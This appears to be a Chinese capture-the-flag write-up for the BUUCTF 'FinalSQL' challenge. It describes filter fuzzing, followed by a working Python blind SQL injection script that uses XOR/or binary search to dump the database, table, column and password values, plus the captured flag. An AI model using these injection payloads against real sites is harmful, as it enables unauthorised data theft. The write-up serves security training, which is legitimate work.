[极客大挑战 2019]FinalSQL

首先进入题目正常思路是登录框存在sql注入,尝试万能密码,提示"你可别被我逮住了,臭弟弟",应该是被过滤了,做一下FUZZ测试,发现过滤了空格,union等关键字

FUZZ字典已经上传到CSDN了

试了很长时间发现注入点不在这里,看见了题目提示,选择正确的神秘代码即可获得flag,出现了id的注入点,重新FUZZ一下,发现单双引号是没有被过滤的,and被过滤了or没有被过滤,输入单引号出现Error,输入1^0出现NO! Not this! Click others~~~,判断是数字型注入

数字型注入的原始查询语句:SELECT * FROM table_name WHERE id='$id'

使用异或操作来进行注入,1^1=0,0^0=0,1^0=1

我们用两个连续的单引号将查询语句的两个单引号给闭合id=''or(1^0)正确,id=''or(1^1)错误,存在数字型注入

id=''or(length(database())=4) 得到数据库的名字是四个字符

找到注入点注入类型接下来还是用脚本吧

import requests

import time

url="http://5d1aa51f-8d7a-44f9-b222-e46066ebb33a.node5.buuoj.cn:81/search.php?id="

flag=""

i=0

while True:

i+=1

begin=32

end=126 #ascii码表的可打印字符从32到126

tmp=(begin+end) //2

while begin<end:

print(begin,tmp,end)

time.sleep(0.1) #buu的服务器还是停了0.1秒吧,防止429

#爆库

#payload="''or(ascii(substr(database(),%d,1))>%d)"%(i,tmp) #第一个%d对于的i,第二个%d对应的tmp,substr(database(),%d,1)获取数据库名称的第i个字符,然后通过ascii()函数将其转换为ASCII码,并与tmp比较。

#爆表

#payload="''or(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)" % (i,tmp)

#爆表

#payload="''or(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)" % (i,tmp)

#爆列

payload="''or(ascii(substr((select(group_concat(password))from(F1naI1y)where(username='flag')),%d,1))>%d)" % (i,tmp)

r=requests.get(url+payload) #发送一个GET请求到之前定义的url,并将构造的payload附加到URL后面。

if 'Click' in r.text:

begin = tmp+1

tmp=(begin+end)//2

else:

end=tmp

tmp=(begin+end)//2 #检查响应文本中是否包含"Click",如果包含,说明猜测的字符ASCII值太小,需要增加begin的值;否则,猜测的值太大,需要减小end的值。然后重新计算tmp

flag+=chr(tmp)

print(flag)

if begin==32:

break

#如果begin的值回到32,这意味着我们到达了字符范围的开始,这通常表示我们已经找到了完整的字符串,因此退出循环。

最后强调一下代码中,begin=tmp+1是必须的,从代码的可执行性角度来说如果 begin 被设置为 tmp,那么在下一个迭代中,tmp 将再次被设置为 (begin + end) // 2,这将导致 tmp 不变,从而陷入无限循环。

从二分法的角度来说当 if 'Click' in r.text: 条件为真时,意味着当前猜测的字符的 ASCII 值小于或等于 tmp。因此,为了继续查找更高的值,我们将 begin 设置为 tmp + 1,从而排除掉 tmp 这个值,并继续在更高的范围内搜索。

用户:root@localhost

数据库名:Click

表名:F1naI1y

字段名:id,username,password

username:mygod,welcome,site,site,site,site,Syc,finally,flag

password:cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{7c62a615-ec40-44c3-9253-516366f3a908}

表名:Flaaaaag

字段名:id,fl4gawsl

这题还是有点坑的,表Flaaaaag最像存在flag的表,字段fl4gawsl查了啥也没有

相关推荐
时序数据说1 小时前
为什么时序数据库IoTDB选择Java作为开发语言
java·大数据·开发语言·数据库·物联网·时序数据库·iotdb
戒不掉的伤怀2 小时前
【Navicat 连接MySQL时出现错误1251:客户端不支持服务器请求的身份验证协议;请考虑升级MySQL客户端】
服务器·数据库·mysql
cv高级工程师YKY2 小时前
服务器 - - QPS与TPS介绍
数据库
nbsaas-boot2 小时前
高可扩展属性建模设计:架构师的全局思考与落地方案
数据库
爱上语文2 小时前
Redis基础(5):Redis的Java客户端
java·开发语言·数据库·redis·后端
陈敬雷-充电了么-CEO兼CTO3 小时前
推荐算法系统系列>推荐数据仓库集市的ETL数据处理
大数据·数据库·数据仓库·数据挖掘·数据分析·etl·推荐算法
MeshddY3 小时前
(超详细)数据库项目初体验:使用C语言连接数据库完成短地址服务(本地运行版)
c语言·数据库·单片机
wuxinyan1233 小时前
Java面试题033:一文深入了解MySQL(5)
java·数据库·mysql·面试
萧曵 丶3 小时前
Spring @TransactionalEventListener
java·数据库·spring·事务·transactional·异步
胡斌附体3 小时前
mobaxterm终端sqlplus乱码问题解决
数据库·乱码·sqlplus·字符集设置